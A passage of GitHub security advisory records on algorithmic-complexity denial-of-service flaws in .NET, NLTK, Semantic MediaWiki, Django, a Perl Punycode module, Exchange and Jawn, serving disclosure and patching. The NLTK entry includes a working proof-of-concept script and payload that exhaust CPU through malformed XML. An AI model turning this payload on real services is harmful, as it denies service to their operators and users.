issue in a supported version of .NET, please report it to the Microsoft Security Response Center (MSRC) via the [MSRC Researcher Portal](https://msrc.microsoft.com/report/vulnerability/new). Further information can be found in the MSRC [Report an Issue FAQ](https://www.microsoft.com/msrc/faqs-report-an-issue).\n\nSecurity reports made through MSRC may qualify for the Microsoft .NET Bounty. Details of the Microsoft .NET Bounty Program including terms and conditions are at https://aka.ms/corebounty.\n\n### Support\n\nYou can ask questions about this issue on GitHub in the .NET GitHub organization. The main repos are located at https://github.com/dotnet/runtime. The Announcements repo (https://github.com/dotnet/Announcements) will contain this bulletin as an issue and will include a link to a discussion issue. You can ask questions in the linked discussion issue.\n\n### Disclaimer\n\nThe information provided in this advisory is provided \"as is\" without warranty of any kind. Microsoft disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Microsoft Corporation or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Microsoft Corporation or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.\n\n### External Links\n\n[CVE-2026-118747](https://www.cve.org/CVERecord?id=CVE-2026-118747)\n\n### Acknowledgements\n\n- Anonymous\n\n### Revisions\n\nV1.0 (November 10, 2026): Advisory published.",
"id": "GHSA-vmv3-wvjp-wqpj",
"modified": "2026-11-10T23:20:27Z",
"published": "2026-11-10T23:20:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dotnet/runtime/security/advisories/GHSA-vmv3-wvjp-wqpj"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118747"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/announcements/issues/501"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/runtime/issues/137281"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/core/blob/main/release-notes/10.0/10.0.15/10.0.15.md"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/core/blob/main/release-notes/11.0/11.0.0/11.0.0.md"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/core/blob/main/release-notes/8.0/8.0.34/8.0.34.md"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/core/blob/main/release-notes/9.0/9.0.23/9.0.23.md"
},
{
"type": "PACKAGE",
"url": "https://github.com/dotnet/runtime"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/runtime/releases/tag/v10.0.15"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/runtime/releases/tag/v11.0.0"
},
{
"type": "WEB",
"url": "https://github.com/dotnet/runtime/releases/tag/v8.0.2"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-118747"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:U/RL:O/RC:C",
"type": "CVSS_V3"
}
],
"summary": "Microsoft Security Advisory CVE-2026-118747 - .NET Denial of Service Vulnerability"
}
GHSA-VP2X-QP44-57V7
Vulnerability from github – Published: 2026-09-02 14:34 – Updated: 2026-09-02 14:34Summary
XMLCorpusView._read_xml_fragment() reads a corpus file in 1 KiB blocks, appending
each block to a growing fragment string, then calls _VALID_XML_RE.match(fragment)
on the full accumulated buffer every iteration. Because each iteration rescans the
entire accumulated fragment, the total amount of work grows quadratically with input
size.
Commit c9c332284 (CWE-1333) made each match() call linear. The quadratic behavior
is separate: the loop calls match() once per 1 KiB block, each time on a longer
buffer.
On the test system, an 8 MiB malformed XML file consumed approximately 48 CPU-seconds
through the public BNCCorpusReader.words() API with no source modification. Absolute
timings vary by hardware. _read_xml_fragment() imposes no limit on fragment size or
iteration count.
Details
File: nltk/corpus/reader/xmldocs.py
Function: XMLCorpusView._read_xml_fragment(), lines 261–308
The relevant loop:
fragment = ""
while True:
fragment += stream.read(self._BLOCK_SIZE) # grows by 1 KiB per iteration
if self._VALID_XML_RE.match(fragment): # rescans full buffer each time
return fragment
...
last_open_bracket = fragment.rfind("<")
if last_open_bracket > 0: # False for single-'<' payload
if self._VALID_XML_RE.match(fragment[:last_open_bracket]):
return ...
# loop continues
For a payload of b'<' + b'a' * (N-1):
- For this malformed input,
_VALID_XML_RE.match(fragment)does not succeed because the unterminated tag prevents the expression from matching before EOF. fragment.rfind("<")returns0; the guardlast_open_bracket > 0isFalse, so the backtrack branch is never taken.- The only exit is EOF, after all N bytes are consumed.
Affected readers -> readers that rely on XMLCorpusView, including
BNCCorpusReader, NPSChatCorpusReader, SemcorCorpusReader, MTECorpusReader,
NKJPCorpusReader, FrameNetCorpusReader, VerbNetCorpusReader, and direct
XMLCorpusView instantiation. XMLCorpusReader.xml() is not affected -> it calls
defusedxml.safe_parse().
PoC
Requires only pip install nltk. No corpus data needed.
from pathlib import Path
from tempfile import TemporaryDirectory
from time import perf_counter
from nltk.corpus.reader.bnc import BNCCorpusReader
SIZES_KIB = (256, 512, 1024, 2048, 4096, 8192)
results = []
with TemporaryDirectory() as directory:
root = Path(directory)
malformed = root / "unterminated.xml"
for kib in SIZES_KIB:
malformed.write_bytes(b"<" + b"a" * (kib * 1024 - 1))
t = perf_counter()
try:
list(BNCCorpusReader(str(root), [malformed.name]).words())
except ValueError as e:
assert "tag not closed" in str(e)
results.append(perf_counter() - t)
print("KiB seconds growth")
for i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)):
ratio = "-" if i == 0 else f"{elapsed / results[i-1]:.2f}x"
print(f"{kib:5d} {elapsed:9.3f} {ratio}")
Runtime should increase by approximately fourfold for each doubling of input size, although absolute timings vary by hardware.
During verification, _VALID_XML_RE.match() was instrumented to record the size of
each input. For a 256 KiB malformed file it was invoked 257 times on monotonically
increasing buffers (1024, 2048, …, 262144 bytes), with the final call occurring after
EOF. This confirms that every iteration rescans the accumulated fragment.
Impact
Applications that process attacker-controlled XML corpus files through an affected reader are vulnerable. The attacker needs only write access to a path the reader will open. No NLTK credentials or special privileges required. Offline tools reading only trusted local corpora are not at risk.
Affected versions: Verified in NLTK 3.9.4, 3.10.0, and the current develop branch.
Historical inspection indicates the same loop structure has existed since the
introduction of XMLCorpusView (2007), but only the listed versions were
experimentally verified. No patch exists in any published release.
This issue results in CPU exhaustion and may allow denial of service in applications that process attacker-controlled XML corpus files.
Suggested Fix
Avoid rescanning the accumulated fragment from the beginning after each 1 KiB read. Incremental parsing, bounded fragment accumulation, or another streaming approach would eliminate the quadratic behavior while preserving existing semantics.
A regression test should verify that BNCCorpusReader.words() raises ValueError
within a fixed timeout (e.g. 5 seconds) against a 2 MiB malformed input. The existing
test_xmldocs_security.py covers only the prior ReDoS payloads and does not exercise
this path.
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 3.10.2"
},
"package": {
"ecosystem": "PyPI",
"name": "nltk"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "3.10.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-81723"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-02T14:34:11Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\n\n`XMLCorpusView._read_xml_fragment()` reads a corpus file in 1 KiB blocks, appending\neach block to a growing `fragment` string, then calls `_VALID_XML_RE.match(fragment)`\non the full accumulated buffer every iteration. Because each iteration rescans the\nentire accumulated fragment, the total amount of work grows quadratically with input\nsize.\n\nCommit `c9c332284` (CWE-1333) made each `match()` call linear. The quadratic behavior\nis separate: the loop calls `match()` once per 1 KiB block, each time on a longer\nbuffer.\n\nOn the test system, an 8 MiB malformed XML file consumed approximately 48 CPU-seconds\nthrough the public `BNCCorpusReader.words()` API with no source modification. Absolute\ntimings vary by hardware. `_read_xml_fragment()` imposes no limit on fragment size or\niteration count.\n\n## Details\n\n**File:** `nltk/corpus/reader/xmldocs.py` \n**Function:** `XMLCorpusView._read_xml_fragment()`, lines 261\u2013308\n\nThe relevant loop:\n\n```python\nfragment = \"\"\nwhile True:\n fragment += stream.read(self._BLOCK_SIZE) # grows by 1 KiB per iteration\n if self._VALID_XML_RE.match(fragment): # rescans full buffer each time\n return fragment\n ...\n last_open_bracket = fragment.rfind(\"\u003c\")\n if last_open_bracket \u003e 0: # False for single-\u0027\u003c\u0027 payload\n if self._VALID_XML_RE.match(fragment[:last_open_bracket]):\n return ...\n # loop continues\n```\n\nFor a payload of `b\u0027\u003c\u0027 + b\u0027a\u0027 * (N-1)`:\n\n- For this malformed input, `_VALID_XML_RE.match(fragment)` does not succeed because\n the unterminated tag prevents the expression from matching before EOF.\n- `fragment.rfind(\"\u003c\")` returns `0`; the guard `last_open_bracket \u003e 0` is `False`, so\n the backtrack branch is never taken.\n- The only exit is EOF, after all N bytes are consumed.\n\n**Affected readers** -\u003e readers that rely on `XMLCorpusView`, including\n`BNCCorpusReader`, `NPSChatCorpusReader`, `SemcorCorpusReader`, `MTECorpusReader`,\n`NKJPCorpusReader`, `FrameNetCorpusReader`, `VerbNetCorpusReader`, and direct\n`XMLCorpusView` instantiation. `XMLCorpusReader.xml()` is not affected -\u003e it calls\n`defusedxml.safe_parse()`.\n\n## PoC\n\nRequires only `pip install nltk`. No corpus data needed.\n\n```python\nfrom pathlib import Path\nfrom tempfile import TemporaryDirectory\nfrom time import perf_counter\nfrom nltk.corpus.reader.bnc import BNCCorpusReader\n\nSIZES_KIB = (256, 512, 1024, 2048, 4096, 8192)\nresults = []\nwith TemporaryDirectory() as directory:\n root = Path(directory)\n malformed = root / \"unterminated.xml\"\n for kib in SIZES_KIB:\n malformed.write_bytes(b\"\u003c\" + b\"a\" * (kib * 1024 - 1))\n t = perf_counter()\n try:\n list(BNCCorpusReader(str(root), [malformed.name]).words())\n except ValueError as e:\n assert \"tag not closed\" in str(e)\n results.append(perf_counter() - t)\n\nprint(\"KiB seconds growth\")\nfor i, (kib, elapsed) in enumerate(zip(SIZES_KIB, results)):\n ratio = \"-\" if i == 0 else f\"{elapsed / results[i-1]:.2f}x\"\n print(f\"{kib:5d} {elapsed:9.3f} {ratio}\")\n```\n\nRuntime should increase by approximately fourfold for each doubling of input size,\nalthough absolute timings vary by hardware.\n\nDuring verification, `_VALID_XML_RE.match()` was instrumented to record the size of\neach input. For a 256 KiB malformed file it was invoked 257 times on monotonically\nincreasing buffers (1024, 2048, \u2026, 262144 bytes), with the final call occurring after\nEOF. This confirms that every iteration rescans the accumulated fragment.\n\n## Impact\n\nApplications that process attacker-controlled XML corpus files through an affected reader\nare vulnerable. The attacker needs only write access to a path the reader will open. No\nNLTK credentials or special privileges required. Offline tools reading only trusted\nlocal corpora are not at risk.\n\n**Affected versions:** Verified in NLTK 3.9.4, 3.10.0, and the current develop branch.\nHistorical inspection indicates the same loop structure has existed since the\nintroduction of `XMLCorpusView` (2007), but only the listed versions were\nexperimentally verified. No patch exists in any published release.\n\nThis issue results in CPU exhaustion and may allow denial of service in applications\nthat process attacker-controlled XML corpus files.\n\n## Suggested Fix\n\nAvoid rescanning the accumulated fragment from the beginning after each 1 KiB read.\nIncremental parsing, bounded fragment accumulation, or another streaming approach would\neliminate the quadratic behavior while preserving existing semantics.\n\nA regression test should verify that `BNCCorpusReader.words()` raises `ValueError`\nwithin a fixed timeout (e.g. 5 seconds) against a 2 MiB malformed input. The existing\n`test_xmldocs_security.py` covers only the prior ReDoS payloads and does not exercise\nthis path.",
"id": "GHSA-vp2x-qp44-57v7",
"modified": "2026-09-02T14:34:11Z",
"published": "2026-09-02T14:34:11Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/security/advisories/GHSA-vp2x-qp44-57v7"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-81723"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/commit/7808692d451b962711005d954859bb83aabcf8fa"
},
{
"type": "PACKAGE",
"url": "https://github.com/nltk/nltk"
},
{
"type": "WEB",
"url": "https://github.com/nltk/nltk/releases/tag/v3.10.3"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/nltk-before-3.10.3-quadratic-cpu-exhaustion-via-xmlcorpusview"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "NLTK: Quadratic CPU Exhaustion in `XMLCorpusView._read_xml_fragment()`"
}
GHSA-VPC6-M642-JJ3J
Vulnerability from github – Published: 2026-11-11 03:34 – Updated: 2026-11-11 03:34Semantic MediaWiki 3.0.0 before 7.4.1 contains a denial of service vulnerability in the ElasticStore and SPARQLStore ConceptDescriptionInterpreter classes, which re-expand concepts without memoization or an expansion budget. Users with page-edit rights can build acyclic chains of Concept: pages that fan out, so queries via concept page views, Special:Ask, or api.php action=ask exhaust CPU and memory.
{
"affected": [],
"aliases": [
"CVE-2026-126565"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-11T03:16:50Z",
"severity": "MODERATE"
},
"details": "Semantic MediaWiki 3.0.0 before 7.4.1 contains a denial of service vulnerability in the ElasticStore and SPARQLStore ConceptDescriptionInterpreter classes, which re-expand concepts without memoization or an expansion budget. Users with page-edit rights can build acyclic chains of Concept: pages that fan out, so queries via concept page views, Special:Ask, or api.php action=ask exhaust CPU and memory.",
"id": "GHSA-vpc6-m642-jj3j",
"modified": "2026-11-11T03:34:28Z",
"published": "2026-11-11T03:34:27Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/SemanticMediaWiki/SemanticMediaWiki/security/advisories/GHSA-24v2-mf3g-84ch"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-126565"
},
{
"type": "WEB",
"url": "https://github.com/SemanticMediaWiki/SemanticMediaWiki/commit/86ce13254ffd91406ef43ea403ae072a7e3a38b3"
},
{
"type": "WEB",
"url": "https://github.com/SemanticMediaWiki/SemanticMediaWiki/blob/7.4.0/src/Elastic/QueryEngine/DescriptionInterpreters/ConceptDescriptionInterpreter.php#L34-L75"
},
{
"type": "WEB",
"url": "https://github.com/SemanticMediaWiki/SemanticMediaWiki/blob/7.4.0/src/SPARQLStore/QueryEngine/DescriptionInterpreters/ConceptDescriptionInterpreter.php#L49-L105"
},
{
"type": "WEB",
"url": "https://github.com/SemanticMediaWiki/SemanticMediaWiki/releases/tag/7.4.1"
},
{
"type": "WEB",
"url": "https://www.vulncheck.com/advisories/semantic-mediawiki-3.0.0-before-7.4.1-dos-via-exponential-concept-expansion"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
GHSA-VRCR-9HJ9-JCG6
Vulnerability from github – Published: 2025-12-02 18:30 – Updated: 2026-06-05 14:34An issue was discovered in 5.2 before 5.2.9, 5.1 before 5.1.15, and 4.2 before 4.2.27.
Algorithmic complexity in django.core.serializers.xml_serializer.getInnerText() allows a remote attacker to cause a potential denial-of-service attack triggering CPU and memory exhaustion via specially crafted XML input processed by the XML Deserializer.
Earlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.
Django would like to thank Seokchan Yoon for reporting this issue.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "5.2a1"
},
{
"fixed": "5.2.9"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "5.1a1"
},
{
"fixed": "5.1.15"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "PyPI",
"name": "Django"
},
"ranges": [
{
"events": [
{
"introduced": "4.2a1"
},
{
"fixed": "4.2.27"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-64460"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-03T16:59:02Z",
"nvd_published_at": "2025-12-02T16:15:56Z",
"severity": "MODERATE"
},
"details": "An issue was discovered in 5.2 before 5.2.9, 5.1 before 5.1.15, and 4.2 before 4.2.27.\nAlgorithmic complexity in `django.core.serializers.xml_serializer.getInnerText()` allows a remote attacker to cause a potential denial-of-service attack triggering CPU and memory exhaustion via specially crafted XML input processed by the XML `Deserializer`.\nEarlier, unsupported Django series (such as 5.0.x, 4.1.x, and 3.2.x) were not evaluated and may also be affected.\nDjango would like to thank Seokchan Yoon for reporting this issue.",
"id": "GHSA-vrcr-9hj9-jcg6",
"modified": "2026-06-05T14:34:31Z",
"published": "2025-12-02T18:30:35Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64460"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/0db9ea4669312f1f4973e09f4bca06ab9c1ec74b"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/1dbd07a608e495a0c229edaaf84d58d8976313b5"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/4d2b8803bebcdefd2b76e9e8fc528d5fddea93f0"
},
{
"type": "WEB",
"url": "https://github.com/django/django/commit/99e7d22f55497278d0bcb2e15e72ef532e62a31d"
},
{
"type": "WEB",
"url": "https://docs.djangoproject.com/en/dev/releases/security"
},
{
"type": "PACKAGE",
"url": "https://github.com/django/django"
},
{
"type": "WEB",
"url": "https://github.com/pypa/advisory-database/tree/main/vulns/django/PYSEC-2025-109.yaml"
},
{
"type": "WEB",
"url": "https://groups.google.com/g/django-announce"
},
{
"type": "WEB",
"url": "https://www.djangoproject.com/weblog/2025/dec/02/security-releases"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Django is vulnerable to DoS via XML serializer text extraction"
}
GHSA-VX57-287R-4H84
Vulnerability from github – Published: 2026-09-22 09:31 – Updated: 2026-09-22 18:33Net::IDN::Punycode versions before 2.590 for Perl allow CPU exhaustion via quadratic insertion cost when decoding a long label in decode_punycode.
The XS backend inserts each decoded code point into a UTF-8 buffer and finds the insertion point by scanning that buffer from the start, one character at a time. The scan runs once per code point over the output built so far, so the cost is quadratic in the label length. The pure-Perl backend downgrades its input to bytes so that substr can index it directly, but takes its working copy before the downgrade, so when the input carries the UTF-8 flag every substr on the copy scans from the start, with the same quadratic cost.
Nothing bounds the label length in the to-Unicode direction. The 63-byte DNS limit is checked only when converting to ASCII, so domain_to_unicode and uts46_to_unicode pass an attacker-supplied label of any length to the decoder.
{
"affected": [],
"aliases": [
"CVE-2026-87079"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-22T08:16:40Z",
"severity": "HIGH"
},
"details": "Net::IDN::Punycode versions before 2.590 for Perl allow CPU exhaustion via quadratic insertion cost when decoding a long label in decode_punycode.\n\nThe XS backend inserts each decoded code point into a UTF-8 buffer and finds the insertion point by scanning that buffer from the start, one character at a time. The scan runs once per code point over the output built so far, so the cost is quadratic in the label length. The pure-Perl backend downgrades its input to bytes so that substr can index it directly, but takes its working copy before the downgrade, so when the input carries the UTF-8 flag every substr on the copy scans from the start, with the same quadratic cost.\n\nNothing bounds the label length in the to-Unicode direction. The 63-byte DNS limit is checked only when converting to ASCII, so domain_to_unicode and uts46_to_unicode pass an attacker-supplied label of any length to the decoder.",
"id": "GHSA-vx57-287r-4h84",
"modified": "2026-09-22T18:33:28Z",
"published": "2026-09-22T09:31:12Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-87079"
},
{
"type": "WEB",
"url": "https://github.com/robrwo/Net-IDN-Encode/commit/00d723423b66810af26b88c552bedc61975b3078.patch"
},
{
"type": "WEB",
"url": "https://github.com/robrwo/Net-IDN-Encode/commit/447c6b38ef5d4570329fa4f78690f4e14e09ba0c.patch"
},
{
"type": "WEB",
"url": "https://metacpan.org/release/PJCJ/Net-IDN-Encode-2.590-TRIAL/changes"
},
{
"type": "WEB",
"url": "http://www.openwall.com/lists/oss-security/2026/09/22/14"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W29C-C742-37MR
Vulnerability from github – Published: 2026-11-10 21:33 – Updated: 2026-11-10 21:33Inefficient algorithmic complexity in Microsoft Exchange Server allows an unauthorized attacker to deny service over a network.
{
"affected": [],
"aliases": [
"CVE-2026-118153"
],
"database_specific": {
"cwe_ids": [
"CWE-407"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-11-10T19:19:37Z",
"severity": "HIGH"
},
"details": "Inefficient algorithmic complexity in Microsoft Exchange Server allows an unauthorized attacker to deny service over a network.",
"id": "GHSA-w29c-c742-37mr",
"modified": "2026-11-10T21:33:00Z",
"published": "2026-11-10T21:33:00Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-118153"
},
{
"type": "WEB",
"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-118153"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-W4CM-GVHJ-CGW6
Vulnerability from github – Published: 2026-09-23 21:23 – Updated: 2026-09-23 21:23AsyncParser can be forced to perform O(n^2) work on the length of the input. When a single JSON token arrives across many small chunks, each absorb call rescans the incomplete token from the start.
Impact
Denial of service via CPU exhaustion when parsing untrusted JSON.
Preconditions:
- Application uses AsyncParser
- Attacker can send large tokens with control over chunk sizes.
Patches
Fixed in jawn-parser-1.7.0.
Workarounds
If you can't upgrade immediately:
- Use the synchronous Parser.
- Buffer incoming bytes into larger chunks before calling absorb
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.typelevel:jawn-parser_2.12"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.typelevel:jawn-parser_2.13"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.0"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 1.6.0"
},
"package": {
"ecosystem": "Maven",
"name": "org.typelevel:jawn-parser_3"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.7.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-61814"
],
"database_specific": {
"cwe_ids": [
"CWE-400",
"CWE-407"
],
"github_reviewed": true,
"github_reviewed_at": "2026-09-23T21:23:58Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "`AsyncParser` can be forced to perform O(n^2) work on the length of the input. When a single JSON token arrives across many small chunks, each `absorb` call rescans the incomplete token from the start.\n\n### Impact\n\nDenial of service via CPU exhaustion when parsing untrusted JSON.\n\nPreconditions:\n- Application uses `AsyncParser`\n- Attacker can send large tokens with control over chunk sizes.\n\n### Patches\n\nFixed in jawn-parser-1.7.0.\n\n### Workarounds\n\nIf you can\u0027t upgrade immediately:\n- Use the synchronous `Parser`.\n- Buffer incoming bytes into larger chunks before calling `absorb`",
"id": "GHSA-w4cm-gvhj-cgw6",
"modified": "2026-09-23T21:23:59Z",
"published": "2026-09-23T21:23:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/typelevel/jawn/security/advisories/GHSA-w4cm-gvhj-cgw6"
},
{
"type": "WEB",
"url": "https://github.com/typelevel/jawn/commit/cddcd5e3387c356b05953f7b2af103d309687e4b"
},
{
"type": "PACKAGE",
"url": "https://github.com/typelevel/jawn"
},
{
"type": "WEB",
"url": "https://github.com/typelevel/jawn/releases/tag/v1.7.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "Jawn: Quadratic parsing effort in AsyncParser"
}
No mitigation information available for this CWE.
No CAPEC attack patterns related to this CWE.